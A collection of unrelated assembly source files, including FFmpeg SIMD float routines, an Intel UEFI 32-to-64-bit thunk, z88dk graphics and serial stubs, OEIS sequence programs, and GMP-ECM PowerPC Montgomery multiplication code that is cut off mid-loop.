vinsertf128 m1, m1, [src1q + mmsize], 1 vshufps m1, m1, m1, q0123 %else mova m0, [src1q] mova m1, [src1q + mmsize] shufps m0, m0, q0123 shufps m1, m1, q0123 %endif mulps m0, m0, [src0q + lenq + mmsize] mulps m1, m1, [src0q + lenq] mova [dstq + lenq + mmsize], m0 mova [dstq + lenq], m1 add src1q, 2*mmsize sub lenq, 2*mmsize jge .loop REP_RET %endmacro INIT_XMM sse VECTOR_FMUL_REVERSE %if HAVE_AVX_EXTERNAL INIT_YMM avx VECTOR_FMUL_REVERSE %endif ; float scalarproduct_float_sse(const float *v1, const float *v2, int len) INIT_XMM sse cglobal scalarproduct_float, 3,3,2, v1, v2, offset neg offsetq shl offsetq, 2 sub v1q, offsetq sub v2q, offsetq xorps xmm0, xmm0 .loop: movaps xmm1, [v1q+offsetq] mulps xmm1, [v2q+offsetq] addps xmm0, xmm1 add offsetq, 16 js .loop movhlps xmm1, xmm0 addps xmm0, xmm1 movss xmm1, xmm0 shufps xmm0, xmm0, 1 addss xmm0, xmm1 %if ARCH_X86_64 == 0 movss r0m, xmm0 fld dword r0m %endif RET ;----------------------------------------------------------------------------- ; void ff_butterflies_float(float *src0, float *src1, int len); ;----------------------------------------------------------------------------- INIT_XMM sse cglobal butterflies_float, 3,3,3, src0, src1, len %if ARCH_X86_64 movsxd lenq, lend %endif test lenq, lenq jz .end shl lenq, 2 add src0q, lenq add src1q, lenq neg lenq .loop: mova m0, [src0q + lenq] mova m1, [src1q + lenq] subps m2, m0, m1 addps m0, m0, m1 mova [src1q + lenq], m2 mova [src0q + lenq], m0 add lenq, mmsize jl .loop .end: REP_RET
setrepeat 2 frame 0, 07 frame 5, 07 dorepeat 1 endanim
; ; Copyright (c) 2021, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; ; Module Name: ; ; Thunk32To64To.nasm ; ; Abstract: ; ; This is the assembly code to transition from compatibility mode to long mode ; to execute 64-bit code and then transit back to compatibility mode. ; ;------------------------------------------------------------------------------- DEFAULT REL SECTION .text ;---------------------------------------------------------------------------- ; Procedure: AsmExecute64BitCode ; ; Input: None ; ; Output: None ; ; Prototype: UINT32 ; AsmExecute64BitCode ( ; IN UINT64 Function, ; IN UINT64 Param1, ; IN UINT64 Param2, ; IN UINT64 GdtrPtr ; ); ; ; ; Description: A thunk function to execute 64-bit code. ; ;---------------------------------------------------------------------------- global ASM_PFX(AsmExecute64BitCode) ASM_PFX(AsmExecute64BitCode): push ebp mov ebp, esp push ebx sub esp, 8 sidt [esp] ; save IDT sub esp, 8 sgdt [esp] ; save GDT cli push 0x38 ; seg for far retf push LongModeStart ; off for far retf mov eax, cr4 or al, (1 << 5) mov cr4, eax ; enable PAE mov ecx, 0xc0000080 rdmsr or ah, 1 ; set LME wrmsr mov eax, cr0 bts eax, 31 ; set PG mov cr0, eax ; enable paging retf ; topmost 2 dwords hold the address LongModeStart: DB 0x67 mov eax, [ebp + 8] ; function address DB 0x67 mov ecx, [ebp + 16] ; arg1 DB 0x67 mov edx, [ebp + 24] ; arg2 mov ebp, esp ; save esp DB 0x48 add esp, -0x20 ; add rsp, -20h DB 0x48 and esp, -0x10 ; align to 16 call eax ; call rbx DB 0x48 mov ebx, eax ; convert status to 32bit DB 0x48 shr ebx, 32 or ebx, eax mov eax, 0x10 ; load compatible mode code selector DB 0x48 shl eax, 32 mov edx, Compatible ; assume address < 4G DB 0x48 or eax, edx push eax retf Compatible: ; Reload DS/ES/SS to make sure they are correct referred to current GDT mov ax, 0x18 ; load compatible mode data selector mov ds, ax mov es, ax mov ss, ax ; Disable paging mov eax, cr0 btc eax, 31 mov cr0, eax ; Clear EFER.LME mov ecx, 0xC0000080 rdmsr btc eax, 8 wrmsr ; clear CR4 PAE mov eax, cr4 btc eax, 5 mov cr4, eax ; Restore stack pointer mov esp, ebp ; Restore GDT/IDT lgdt [esp] add esp, 8 lidt [esp] add esp, 8 mov eax, ebx pop ebx pop ebp ret
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ----- void __CALLEE__ draw(int x, int y, int x2, int y2) ; ; $Id: draw_callee.asm $ ; SECTION code_graphics PUBLIC draw_callee PUBLIC _draw_callee PUBLIC ASMDISP_DRAW_CALLEE EXTERN swapgfxbk EXTERN __graphics_end EXTERN Line EXTERN plotpixel .draw_callee ._draw_callee pop af ; ret addr pop de ; y2 pop hl ld d,l ; x2 pop hl ; y pop bc ld h,c ; x push af ; ret addr .asmentry push ix call swapgfxbk push hl push de call plotpixel pop de pop hl ld ix,plotpixel call Line jp __graphics_end DEFC ASMDISP_DRAW_CALLEE = asmentry - draw_callee
; A118148: Start with 1 and repeatedly reverse the digits and add 51 to get the next term. ; 1,52,76,118,862,319,964,520,76,118,862,319,964,520,76,118,862,319,964,520,76,118,862,319,964,520,76,118,862,319,964,520,76,118,862,319,964,520,76,118,862,319,964,520,76,118,862,319,964,520,76,118,862,319,964 mov $2,$0 mov $0,1 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,51 sub $2,1 lpe
; ; z88dk RS232 Function ; ; OSCA version ; ; unsigned char rs232_put(char) ; ; $Id: rs232_put.asm,v 1.4 2016-07-29 03:28:48 pauloscustodio Exp $ ; __FASTCALL__ SECTION code_clib PUBLIC rs232_put PUBLIC _rs232_put INCLUDE "osca.def" rs232_put: _rs232_put: ld c,2 .s_wait in a,(sys_joy_com_flags) ; ensure no byte is still being transmitted bit 7,a jr nz,s_wait ld a,l out (sys_serial_port),a ;ld b,32 ; limit send speed (gap between bytes) ld b,20 ; limit send speed (gap between bytes) .ssplim djnz ssplim ld hl,0 ;RS_ERR_OK ret
;; ;; Copyright (c) 2020-2022, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/aesni_emu.inc" %define CRC16_FP_DATA_FN crc16_fp_data_sse_no_aesni %define CRC11_FP_HEADER_FN crc11_fp_header_sse_no_aesni %define CRC7_FP_HEADER_FN crc7_fp_header_sse_no_aesni %define CRC32_FN crc32_by8_sse_no_aesni %include "sse/crc32_fp_sse.asm"
; A044779: Numbers n such that string 6,6 occurs in the base 10 representation of n but not of n+1. ; 66,166,266,366,466,566,669,766,866,966,1066,1166,1266,1366,1466,1566,1669,1766,1866,1966,2066,2166,2266,2366,2466,2566,2669,2766,2866,2966,3066,3166,3266,3366,3466,3566,3669,3766,3866 mov $6,$0 trn $0,1 mov $4,$0 mod $0,5 gcd $4,2 add $0,$4 mov $1,4 lpb $0 pow $0,$5 pow $1,$3 lpe add $1,65 mov $2,$6 mul $2,100 add $1,$2 mov $0,$1
dnl ****************************************************************************** dnl Copyright 2009 Paul Zimmermann and Alexander Kruppa. dnl dnl This file is part of the ECM Library. dnl dnl The ECM Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published by dnl the Free Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl The ECM Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public License dnl along with the ECM Library; see the file COPYING.LIB. If not, write to dnl the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, dnl MA 02110-1301, USA. dnl ****************************************************************************** define(C, ` dnl') C mp_limb_t mulredc19(mp_limb_t * z, const mp_limb_t * x, const mp_limb_t * y, C const mp_limb_t *m, mp_limb_t inv_m); C C arguments: C r3 = ptr to result z least significant limb C r4 = ptr to input x least significant limb C r5 = ptr to input y least significant limb C r6 = ptr to modulus m least significant limb C r7 = -1/m mod 2^64 C C final carry returned in r3 include(`config.m4') GLOBL GSYM_PREFIX`'mulredc19 GLOBL .GSYM_PREFIX`'mulredc19 .section ".opd", "aw" .align 3 GSYM_PREFIX`'mulredc19: .quad .GSYM_PREFIX`'mulredc19, .TOC.@tocbase, 0 .size GSYM_PREFIX`'mulredc19, 24 C Implements multiplication and REDC for two input numbers of 19 words C The algorithm: C (Notation: a:b:c == a * 2^128 + b * 2^64 + c) C C T1:T0 = x[i]*y[0] ; C u = (T0*invm) % 2^64 ; C cy:T1 = (m[0]*u + T1:T0) / 2^64 ; /* cy:T1 <= 2*2^64 - 4 (see note 1) */ C for (j = 1; j < len; j++) C { C cy:T1:T0 = x[i]*y[j] + m[j]*u + cy:T1 ; C /* for all j result cy:T1 <= 2*2^64 - 3 (see note 2) */ C tmp[j-1] = T0; C } C tmp[len-1] = T1 ; C tmp[len] = cy ; /* cy <= 1 (see note 2) */ C for (i = 1; i < len; i++) C { C cy:T1:T0 = x[i]*y[0] + tmp[1]:tmp[0] ; C u = (T0*invm) % 2^64 ; C cy:T1 = (m[0]*u + cy:T1:T0) / 2^64 ; /* cy:T1 <= 3*2^64 - 4 (see note 3) */ C for (j = 1; j < len; j++) C { C cy:T1:T0 = x[i]*y[j] + m[j]*u + (tmp[j+1] + cy):T1 ; C /* for all j < (len-1), result cy:T1 <= 3*2^64 - 3 C for j = (len-1), result cy:T1 <= 2*2^64 - 1 (see note 4) */ C tmp[j-1] = T0; C } C tmp[len-1] = T1 ; C tmp[len] = cy ; /* cy <= 1 for all i (see note 4) */ C } C z[0 ... len-1] = tmp[0 ... len-1] ; C return (tmp[len]) ; C C notes: C C 1: m[0]*u + T1:T0 <= 2*(2^64 - 1)^2 <= 2*2^128 - 4*2^64 + 2, C so cy:T1 <= 2*2^64 - 4. C 2: For j = 1, x[i]*y[j] + m[j]*u + cy:T1 <= 2*(2^64 - 1)^2 + 2*2^64 - 4 C <= 2*2^128 - 2*2^64 - 2 = 1:(2^64-3):(2^64-2), C so cy:T1 <= 2*2^64 - 3. For j > 1, C x[i]*y[j] + m[j]*u + cy:T1 <= 2*2^128 - 2*2^64 - 1 = 1:(2^64-3):(2^64-1), C so cy:T1 <= 2*2^64 - 3 = 1:(2^64-3) holds for all j. C 3: m[0]*u + cy:T1:T0 <= 2*(2^64 - 1)^2 + 2^128 - 1 = 3*2^128 - 4*2^64 + 1, C so cy:T1 <= 3*2^64 - 4 = 2:(2^64-4) C 4: For j = 1, x[i]*y[j] + m[j]*u + (tmp[j+1] + cy):T1 C <= 2*(2^64 - 1)^2 + (3*2^64 - 4) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 2 = 2:(2^64-3):(2^64-2), C so cy:T1 <= 3*2^64 - 3. For j > 1, C x[i]*y[j] + m[j]*u + (tmp[j+1] + cy):T1 <= 2:(2^64-3):(2^64-1), C so cy:T1 <= 3*2^64 - 3 = 2:(2^64-3) holds for all j < len - 1. C For j = len - 1, we know from note 2 that tmp(len) <= 1 for i = 0. C Assume this is true for index i-1, Then C x[i]*y[len-1] + m[len-1]*u + (tmp[len] + cy):T1 C <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + 2^64 C <= 2*2^128 - 1 = 1:(2^64-1):(2^64-1), C so cy:T1 <= 1:(2^64-1) and tmp[len] <= 1 for all i by induction. C C Register vars: T0 = r13, T1 = r14, CY = r10, XI = r12, U = r11 C YP = r5, MP = r6, TP = r1 (stack ptr) C C local variables: tmp[0 ... 19] array, having 19+1 8-byte words C The tmp array needs 19+1 entries, but tmp[19] is stored in C r15, so only 19 entries are used in the stack. TEXT .align 5 C powerPC 32 byte alignment .GSYM_PREFIX`'mulredc19: C ######################################################################## C # i = 0 pass C ######################################################################### C Pass for j = 0. We need to fetch x[i] from memory and compute the new u ld r12, 0(r4) C XI = x[0] ld r0, 0(r5) C y[0] stdu r13, -8(r1) C save r13 mulld r8, r0, r12 C x[0]*y[0] low half stdu r14, -8(r1) C save r14 mulhdu r9, r0, r12 C x[0]*y[0] high half ld r0, 0(r6) C m[0] mulld r11, r7, r8 C U = T0*invm mod 2^64 stdu r15, -8(r1) C save r15 mulld r13, r0, r11 C T0 = U*m[0] low stdu r16, -8(r1) C save r16 li r16, 0 C set r16 to zero for carry propagation subi r1, r1, 152 C set tmp stack space mulhdu r14, r0, r11 C T1 = U*m[0] high ld r0, 8(r5) C y[1] addc r8, r8, r13 C adde r13, r9, r14 C T0 = initial tmp(0) addze r10, r16 C carry to CY C CY:T1:T0 <= 2*(2^64-1)^2 <= 2^2*128 - 4*2^64 + 2, hence C CY:T1 <= 2*2^64 - 4 C Pass for j = 1 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 8(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 16(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 0(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 2 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 16(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 24(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 8(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 3 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 24(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 32(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 16(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 4 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 32(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 40(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 24(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 5 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 40(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 48(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 32(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 6 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 48(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 56(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 40(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 7 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 56(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 64(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 48(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 8 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 64(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 72(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 56(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 9 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 72(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 80(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 64(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 10 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 80(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 88(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 72(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 11 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 88(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 96(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 80(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 12 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 96(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 104(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 88(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 13 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 104(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 112(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 96(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 14 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 112(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 120(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 104(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 15 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 120(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 128(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 112(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 16 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 128(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 136(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 120(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 17 mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 136(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 144(r5) C y[j+1] adde r13, r9, r14 C add high word with carry to T1 addze r10, r16 C carry to CY std r8, 128(r1) C store tmp[j-1] C CY:T1:T0 <= 2^128 - 2 + 2^128 - 2*2^64 + 1 <= C 2 * 2^128 - 2*2^64 - 1 ==> CY:T1 <= 2 * 2^64 - 3 C Pass for j = 18. Don't fetch new data from y[j+1]. mulld r8, r0, r12 C x[i]*y[j] low half mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 144(r6) C m[j] addc r13, r8, r13 C add low word to T0 adde r14, r9, r10 C add high word with carry + CY to T1 C T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 3 <= 2^128 - 2, no carry! mulld r8, r0, r11 C U*m[j] low mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word adde r13, r9, r14 C add high word with carry to T1 std r8, 136(r1) C store tmp[len-2] addze r15, r16 C put carry in r15 (tmp[len] <= 1) std r13, 144(r1) C store tmp[len-1] C ######################################################################### C # i > 0 passes C ######################################################################### li r9, 18 C outer loop count mtctr r9 1: C Pass for j = 0. We need to fetch x[i], tmp[i] and tmp[i+1] from memory C and compute the new u ldu r12, 8(r4) C x[i] ld r0, 0(r5) C y[0] ld r13, 0(r1) C tmp[0] mulld r8, r0, r12 C x[i]*y[0] low half ld r14, 8(r1) C tmp[1] mulhdu r9, r0, r12 C x[i]*y[0] high half addc r13, r8, r13 C T0 ld r0, 0(r6) C m[0] mulld r11, r7, r13 C U = T0*invm mod 2^64 adde r14, r9, r14 C T1 mulld r8, r0, r11 C U*m[0] low addze r10, r16 C CY mulhdu r9, r0, r11 C U*m[0] high ld r0, 8(r5) C y[1] addc r8, r8, r13 C result = 0 adde r13, r9, r14 C T0, carry pending C cy:T1:T0 <= 2*(2^64 - 1)^2 + 2^128 - 1 = 3*2^128 - 4*2^64 + 1, C so cy:T1 <= 3*2^64 - 4 C Pass for j = 1 ld r14, 16(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 8(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 16(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 0(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 2 ld r14, 24(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 